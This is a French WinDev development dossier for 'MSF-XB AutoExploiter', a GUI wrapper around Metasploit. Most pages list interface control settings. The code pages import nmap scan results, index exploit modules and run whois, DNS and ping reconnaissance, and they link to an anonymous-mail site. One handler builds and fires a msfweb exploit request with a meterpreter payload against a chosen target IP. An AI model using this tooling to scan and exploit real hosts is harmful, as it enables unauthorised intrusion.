Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSelecteurFichierBouton : SCSelecteurFichier.BTN_SEL

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 24Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR: Sélectionner un fichier résultat de scan nmapGB: Choose a nmap scan results file

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Parcours.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_MiniLeft.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0

Page 143: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 143

Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SCSelecteurFichier.SAIS_FIC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Fichier :GB: File:

Ordre navigation 25Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 63Largeur interne 311

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus Oui

Page 144: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 144

Historique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Page 145: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 145

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 146: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 146

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 147: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 147

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 148: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 148

Table : Table1Colonne de table : Table1.PORT (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: PORTCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 149: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 149

Colonne de table : Table1.ETAT (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: ETATGB: STATE

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 150: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 150

Colonne de table : Table1.SERVICE (3)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: SERVICECurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : Table1.VERSION (4)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: VERSIONCurseur survol 0Touche TAB Oui

Numéro aide 0

Page 151: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 151

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : Table1.EXPLOITS (5)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: EXPLOITSGB: EXPLOIT

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR: ¤

GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 152: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 152

Colonne de table : Table1.COL_IDEXPLOIT (6)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: IDEXPLOITCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: ¤999 999Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

AutoExploiter Messages multilangues

N° Message

2000 FR: Sélectionnez un fichier...GB: Select a file...

2001 FR: Tous fichiers (*.*)GB: All Files (*.*)

Page 153: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 153

N° mess.: numéro de message.

Page 154: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 154

AutoExploiter Code

Déclarations globales de AutoExploiterGLOBAL

// Déclaration de l'objet pour piloter Internet ExplorerCliExplore est un CiExplore(ActiveX1..Nom)

//Pour import IPINDEXNumFicResultat is int

Initialisation de AutoExploiterHCréationSiInexistant(COMMANDE)HCréationSiInexistant(EXPLOIT)HCréationSiInexistant(FICHIER)HCréationSiInexistant(HEADER)HCréationSiInexistant(STRO)HCréationSiInexistant(TYPESTRO)HCréationSiInexistant(USER)

//On récupère l'adresse IP LAN du Poste en cours// IP11=ExtraitChaîne(NetAdresseIP(),1,".")// IP21=IP11// IP12=ExtraitChaîne(NetAdresseIP(),2,".")// IP22=IP12// IP13=ExtraitChaîne(NetAdresseIP(),3,".")// IP23=ip13// IP14=1// IP24=255

//LIBURL=Titre_Fenetre()

IPLAN=NetAdresseIP()

//Affectation des variables IP globales au projet

Page 155: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 155

gsStrIPLAN=IPLANgsStrIPWAN=IPWAN

// Déclaration de l'objet pour piloter Internet Explorer//CliExplore:InitActiveX()

//Vérification que la recherche dans les fichiers de modules exploits (.pm) est activéeVERIF_REGISTRE()

SI EnModeTest() ALORSCOL_IDEXPLOIT..Visible=Vrai

FIN

Page 156: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 156

AutoExploiter Code des champs

A chaque modification de AUTOHACKSI MoiMême ALORS

GP_AUTOHACK..Visible=VraiSINON

GP_AUTOHACK..Visible=FauxFIN

Clic sur Bouton1IP14=1IP24=254

Clic sur Bouton2

//***********************************************************************************************// Recherche tous les exploits (*.pm) dans le répertoire et les ajoute à la BDD d'exploits

// Déclaration et initialisation des variablesNbFichierLS est un entier // Nombre de fichiers répondant aux critèresNbFichierTXT est un entier // Nombre de fichiers de type "*.pm"NbFichierTXT = 0CritèreRecherche est une chaîne// Sélection du répertoire dans lequel les fichiers vont être listésSI Nation()=3 ALORS

CritèreRecherche=fRepSélecteur ("C:\Program Files\Metasploit Framework\home\framework\exploits", "Select the MSF exploits directory")SINON

CritèreRecherche=fRepSélecteur ("C:\Program Files\Metasploit Framework\home\framework\exploits", "Sélectionnez le répertoire des exploits MSF")FIN

SI CritèreRecherche="" ALORSRETOUR

FIN

Page 157: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 157

// Ajout du critère "\*.TXT" à la fin du nom du répertoire sélectionnéCritèreRecherche = CritèreRecherche+"\*.pm"

// Liste des fichiers de type "*.TXT"NbFichierTXT = fListeFichier (CritèreRecherche, "AttributFichier" , & NbFichierLS)

Info("Import OK")

Clic sur Bouton3numfic is intfCrée("c:\MSF_NMAP.txt")numfic=fOuvre("c:\MSF_NMAP.txt",foEcriture)

HLitPremier(HEADER,IDEXPLOIT)TANTQUE PAS H.EnDehors

HLitRecherche(EXPLOIT,IDEXPLOIT,HEADER.IDEXPLOIT)fEcritLigne(numfic,HEADER.LIBELLE+";"+EXPLOIT.NOM_FICHIER)HLitSuivant(HEADER)

FIN

fFerme(numfic)

Clic sur Bouton5Ouvre(HACK_PLAN)

Clic sur BTN_ADSI//On utilise le script EnumWebSites.vbshttp://blogs.msdn.com/david.wang/archive/2005/07/13/HOWTO_Enumerate_IIS_Website_Configuration.aspx//Dans /TOOLZ/EnumWebSites.vbs//Utilisation: EnumWebSites.vbs [RemoteServerName]

//CODE:// OPTION EXPLICIT//// DIM CRLF, TAB// DIM strServer

Page 158: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 158

// DIM objWebService//// TAB = CHR( 9 )// CRLF = CHR( 13 ) & CHR( 10 )//// IF WScript.Arguments.Length = 1 THEN// strServer = WScript.Arguments( 0 )// ELSE// strServer = "localhost"// END IF//// WScript.Echo "Enumerating websites on " & strServer & CRLF// SET objWebService = GetObject( "IIS://" & strServer & "/W3SVC" )// EnumWebsites objWebService////// SUB EnumWebsites( objWebService )// DIM objWebServer, strBindings//// FOR EACH objWebServer IN objWebService// IF objWebserver.Class = "IIsWebServer" THEN// WScript.Echo _// "Site ID = " & objWebserver.Name & CRLF & _// "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _// "State = " & State2Desc( objWebserver.ServerState ) & CRLF & _// "LogDir = " & objWebServer.LogFileDirectory & _// ""//// ' Enumerate the HTTP bindings (ServerBindings) and// ' SSL bindings (SecureBindings)// strBindings = EnumBindings( objWebServer.ServerBindings ) & _// EnumBindings( objWebServer.SecureBindings )// IF NOT strBindings = "" THEN// WScript.Echo "IP Address" & TAB & _// "Port" & TAB & _// "Host" & CRLF & _// strBindings// END IF// END IF// NEXT//// END SUB//// FUNCTION EnumBindings( objBindingList )// DIM i, strIP, strPort, strHost// DIM reBinding, reMatch, reMatches

Page 159: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 159

// SET reBinding = NEW RegExp// reBinding.Pattern = "([^:]*):([^:]*):(.*)"//// FOR i = LBOUND( objBindingList ) TO UBOUND( objBindingList )// ' objBindingList( i ) is a string looking like IP:Port:Host// SET reMatches = reBinding.Execute( objBindingList( i ) )// FOR EACH reMatch IN reMatches// strIP = reMatch.SubMatches( 0 )// strPort = reMatch.SubMatches( 1 )// strHost = reMatch.SubMatches( 2 )//// ' Do some pretty processing// IF strIP = "" THEN strIP = "All Unassigned"// IF strHost = "" THEN strHost = "*"// IF LEN( strIP ) < 8 THEN strIP = strIP & TAB//// EnumBindings = EnumBindings & _// strIP & TAB & _// strPort & TAB & _// strHost & TAB & _// ""// NEXT//// EnumBindings = EnumBindings & CRLF// NEXT//// END FUNCTION//// FUNCTION State2Desc( nState )// SELECT CASE nState// CASE 1// State2Desc = "Starting (MD_SERVER_STATE_STARTING)"// CASE 2// State2Desc = "Started (MD_SERVER_STATE_STARTED)"// CASE 3// State2Desc = "Stopping (MD_SERVER_STATE_STOPPING)"// CASE 4// State2Desc = "Stopped (MD_SERVER_STATE_STOPPED)"// CASE 5// State2Desc = "Pausing (MD_SERVER_STATE_PAUSING)"// CASE 6// State2Desc = "Paused (MD_SERVER_STATE_PAUSED)"// CASE 7// State2Desc = "Continuing (MD_SERVER_STATE_CONTINUING)"// CASE ELSE// State2Desc = "Unknown state"

Page 160: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 160

// END SELECT//// END FUNCTION

Clic sur BTN_Bouton2LanceAppliAssociée("http://www.freescape.ch/mail-anonyme/send_gratuit.php?")

Clic sur BTN_Bouton3SI PAS HTTPRequête("http://www.whatismyip.com/automation/n09230945.asp") ALORS

Erreur(ErreurInfo())RETOUR

FIN//strTEMP is string=HTTPDonneRésultat(HTTPRésultat)//strTEMP=extraitchaine(strTEMP,2,"<TITLE>WhatIsMyIP.com - ")//IPWAN= extraitchaine(strTEMP,1,"</TITLE>")

IPWAN= HTTPDonneRésultat(HTTPRésultat)

Clic sur BTN_Bouton5//IMPORT DE LA BASE IPINDEX

//Import des fichiers précis (pas les index)://NbFichierTXT is int= fListeFichier("C:\IPINDEX\*_*.html", "ImportIPINDEX")

//Import des index (IL FAUT SUPPRIMER LES FICHIERS PRECIS CI-DESSUS DU REPERTOIRE!)//On crée un fichier RESULTAT.TXT qui contiendra les lignes intéressantesNumFicResultat=fOuvre("C:\IPINDEX\RESULTAT.TXT",foCréationSiInexistant+foEcriture)NbFichierTXT is int= fListeFichier("C:\IPINDEX\*.html", "ImportIPINDEX2")fFerme(NumFicResultat)

Info("IMPORT IPINDEX FINI!")

Clic sur BTN_Bouton6nTaillemax is int=0

valmax is string=""HLitPremier(IPINDEX)TANTQUE PAS HEnDehors(IPINDEX)

SI Taille(IPINDEX.IP)>nTaillemax ALORS

Page 161: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 161

// nTaillemax=taille(IPINDEX.DESCRIPTION)// valmax=ipindex.DESCRIPTION

nTaillemax=Taille(IPINDEX.IP)valmax=IPINDEX.IP

// si nTaillemax>40 alors// info(nTaillemax+RC+valmax)// FINFIN

// ipindex.IP=nospace( remplace(ipindex.ip, " - ", "-") ) //On gagne 2 caractères// hmodifie(IPINDEX)

HLitSuivant(IPINDEX)FINInfo(nTaillemax+RC+valmax)

Clic sur BTN_DNS//On utilise fierce.pl http://ha.ckers.org/fierce///perl fierce.pl -dns example.com -wordlist hosts.txt -file output.txt//Dans /TOOLZ/DNS/

//Voir aussi http://www.dnspython.org/// http://ikwt.dyndns.org/ dnsmap

//Passive DNS:LanceAppliAssociée("http://cert.uni-stuttgart.de/stats/dns-replication.php?query="+Remplace( Remplace(DOMAINE,"http://","") ,"https://","")+"&submit=Query")

Clic sur BTN_EDITER_EXPLOITSI Table1..Vide ALORS RETOUR

Ouvre(MSFXB_Editor, COL_IDEXPLOIT)

Clic sur BTN_IMPORT_FICHIER_NMAP//On traite le fichier rézsultat de scan NMAPFichierTempo=SCSelecteurFichier.SAIS_FICtraite_fichier_nmap()

//On rétabli le fichier tempoFichierTempo="TEMP.TXT"

Clic sur BTN_LANGUE_HTTP

Page 162: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 162

//****************************************************************************************************************************************

//On effectue une requête HTTP sur le site//****************************************************************************************************************************************

HTTPRequête(DOMAINE)strHTML is string=Upper( HTTPDonneRésultat(HTTPRésultat) )

sTEMPO is string//UTILISER l'IP// ===> VOIR http://hammerofgod.com/download/ISASets/

//****************************************************************************************************************************************

//On analyse le code HTML résultant de la requête//****************************************************************************************************************************************

//XHTML - XML : PAS fiable "TRANSITIONAL//EN" "STRICT//EN"SI ChaîneOccurrence(strHTML, "TRANSITIONAL//EN")>0 OU ChaîneOccurrence(strHTML, "STRICT//EN") ALORS// si DOMAINE_LANGUE<>"" alors// si ChaîneOccurrence(DOMAINE_LANGUE, "US")=0 et ChaîneOccurrence(DOMAINE_LANGUE, "GB")=0 alors// DOMAINE_LANGUE+="/US"// FIN// sinon// DOMAINE_LANGUE="US"// FINFIN

//Balise META langue : TRES FIABLE <META LANG="FR"> xml:lang="fr" lang="fr">SI ChaîneOccurrence(strHTML, "LANG=&QUOT;")>0 ALORS

sTEMPO=ExtraitChaîne(strHTML, 2, "LANG=&QUOT;")//On prend tout ce qu'il y a après le LANG="sTEMPO=ExtraitChaîne(sTEMPO, 1, "&QUOT;") //On prend ce qu'il y a avant le " qui entoure la langueSI DOMAINE_LANGUE<>"" ALORS

DOMAINE_LANGUE+="/" + sTEMPOSINON

DOMAINE_LANGUE= sTEMPOFIN

FIN

//<meta name="content-language" content="fr" />

Page 163: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 163

SI ChaîneOccurrence(strHTML, "CONTENT=&QUOT;")>0 ALORSsTEMPO=ExtraitChaîne(strHTML, 2, "CONTENT=&QUOT;") //On prend tout ce qu'il y a après le CONTENT="sTEMPO=ExtraitChaîne(sTEMPO, 1, "&QUOT;") //On prend ce qu'il y a avant le " qui entoure la langueSI DOMAINE_LANGUE<>"" ALORS

SI ChaîneOccurrence(DOMAINE_LANGUE, sTEMPO)=0 ALORS DOMAINE_LANGUE+="/" + sTEMPOSINON

DOMAINE_LANGUE= sTEMPOFIN

FIN

//Analyse du texte de la page et comparaison avec les mots d'une wordlist

//Si rien trouvéSI DOMAINE_LANGUE="" ALORS

SI ChaîneOccurrence(strHTML, "ISO-8859-1") >0 ALORSDOMAINE_LANGUE="FR"

FINDOMAINE_LANGUE="US"

FIN

Clic sur BTN_MSF_EDITEUR

Ouvre(MSFXB_Editor, "")

Clic sur BTN_PINGDOMAINE=Verif_Domaine_WWW(DOMAINE) //Ajoute les www devant le domaine

MyDos:CommandLine_Let("ping -n 1 "+DOMAINE)//FichierTempo is string="TEMP.TXT" //Fichier temporaire de traitementSI PAS fSauveTexte(FichierTempo,MyDos:ExecuteCommand()) ALORS Erreur(ErreurInfo())

//On traite le fichier résultatnumfic is int=fOuvre(FichierTempo,foLecture)SI NumFic=-1 ALORS

Erreur(FichierTempo+" not found!")RETOUR

FIN

Page 164: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 164

maligne is string=fLitLigne(numfic)TANTQUE maligne<>EOT

SI ChaîneOccurrence(maligne, "[")>0 ALORSSonIP is string=ExtraitChaîne( ExtraitChaîne(maligne, 2, "[") , 1, "]")ip11=ExtraitChaîne(sonip, 1, ".")ip12=ExtraitChaîne(sonip, 2, ".")ip13=ExtraitChaîne(sonip, 3, ".")ip14=ExtraitChaîne(sonip, 4, ".")ip21=ip11ip22=ip12ip23=ip13ip24=ip14

//On recherche les informations connues pour l'IP dans la table IPINDEXCherche_Infos_IPindex(IP11+"."+IP12+"."+IP13+"."+IP14)

RETOURFINmaligne =fLitLigne(numfic)

FIN

Clic sur BTN_WGETMyDos:CommandLine_Let("wget "+DOMAINE)SI PAS fSauveTexte(FichierTempo,MyDos:ExecuteCommand()) ALORS Erreur(ErreurInfo())

Clic sur BTN_WHOIS//Note: Pour supprimer les "REFERER": http://ikwt.com/projects/referer_remover/?url=http://www.google.com/

// UTILISER http://crushmachine.com/rip.php pour lister les "sous-domaines"

SELON COMBO_DOMAINE..ValeurAffichéeCAS "arine.net"

LanceAppliAssociée("http://ws.arin.net/whois?queryinput="+domaine)CAS "ripe.net"

LanceAppliAssociée("http://www.ripe.net/fcgi-bin/whois?form_type=simple&full_query_string=&searchtext="+DOMAINE+"&submit.x=19&submit.y=12&submit=Search")CAS "iana.net"

LanceAppliAssociée("http://whois.iana.org/index.cgi?domain="+DOMAINE)CAS "google.com"

SI Nation=3 ALORS //US

Page 165: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 165

LanceAppliAssociée("http://www.google.com/search?hl=en&q=site:"+DOMAINE)SINON

LanceAppliAssociée("http://www.google.fr/search?hl=fr&q=site:"+DOMAINE)FIN

CAS "amen.fr"LanceAppliAssociée("http://client.amen.fr/whois_simple.php?domaine="+DOMAINE)

CAS "search.live.com"LanceAppliAssociée("http://search.live.com/results.aspx?q=ip%3A"+IP11+"."+IP12+"."+IP13+"."+IP14)

AUTRE CAS

FIN

Sélection d'une ligne de COMBO_IPSTableSupprimeTout(Table1)os=""mac=""

TRAITE_FICHIER_NMAP()//LECTURE_NMAP()

Clic sur EXPLOITERSI Table1..Vide ALORS RETOUR

SI exploits<>"" ALORSOuvre(EXPLOIT_PARAMETERS, col_IDEXPLOIT, exploits, COMBO_IPS..ValeurAffichée, port, AUTOHACK)RETOUR

//ANCIEN CODE AVEC MSFWEB:

//On vérifie que MSFweb tourne bienHTTPRequête("http://127.0.0.1:55555")SI ChaîneOccurrence(HTTPDonneRésultat(),"Metasploit Framework Web Console")<1 ALORS

SI Nation()=3 ALORS //ANGLAISSI OuiNon("! MSF Web not running, start it?") ALORS

DDELance("C:\Program Files\Metasploit Framework\msfweb.bat",DDEIconise,Faux,"C:\Program Files\Metasploit Framework\")Multitâche(200)

SINONRETOUR

FIN

Page 166: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 166

SINONSI OuiNon("! MSF Web ne tourne pas, le lancer?") ALORS

DDELance("C:\Program Files\Metasploit Framework\msfweb.bat",DDEIconise,Faux,"C:\Program Files\Metasploit Framework\")Multitâche(200)

SINONRETOUR

FINFIN

FIN

//On cherche l'URL MSFweb de l'exploit sélectionné// hlitrecherche(EXPLOIT,NOM_FICHIER,exploits)// si h.trouve alors// LanceAppliAssociée(EXPLOIT.url_msfweb)// FIN

//On remplace l'ouverture dans le navigateur par l'ouverture dans l'ActiveX IE// LanceAppliAssociée("http://127.0.0.1:55555/EXPLOITS?MODE=SELECT&MODULE="+remplace(exploits,".pm",""))

//Utilisation de l'ActiveX IE// CliExplore:SetURL("http://127.0.0.1:55555/EXPLOITS?MODE=SELECT&MODULE="+remplace(exploits,".pm",""))

ExploitURL is string="http://127.0.0.1:55555/EXPLOITS?"ExploitURL+="&OPT_RHOST="+COMBO_IPS..ValeurAffichéeExploitURL+="&OPT_LPORT=4444"ExploitURL+="&OPT_TARGET=0"ExploitURL+="&OPT_USER=test"ExploitURL+="&OPT_PASS=test"ExploitURL+="&OPT_EXITFUNC=thread" //seh //processExploitURL+="&OPT_RPORT="+PORTExploitURL+="&NOP=default"ExploitURL+="&OPT_ForceDoubling=2"ExploitURL+="&MODE=EXPLOIT"ExploitURL+="&parent=GLOB%280xb73ec74%29"ExploitURL+="&MODULE="+Remplace(exploits,".pm","") //ExploitURL+="&PAYLOAD=win32_bind_meterpreter"ExploitURL+="&OPT_METDLL=/home/framework/data/meterpreter/metsrv.dll"

// ExploitURL+="&PAYLOAD=win32_exec"ExploitURL+="&OPT_CMD=calc.exe"ExploitURL+="&ENCODER=default"ExploitURL+="&OPT_SEHOffset=47"ExploitURL+="&client=Msf%3A%3ASocket%3A%3ATcp%3DHASH%280xb73bdf4%29"

// ExploitURL+="&ExploitAction=-Check-"ExploitURL+="&ExploitAction=-Exploit-"

VersPressePapier(ExploitURL)

Page 167: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 167

SI Nation()=3 ALORS //ANGLAISMessage("Launching exploit using default options...")

SINONMessage("Exécution de l'exploit avec les options par défaut...")

FIN

CliExplore:SetURL(ExploitURL)

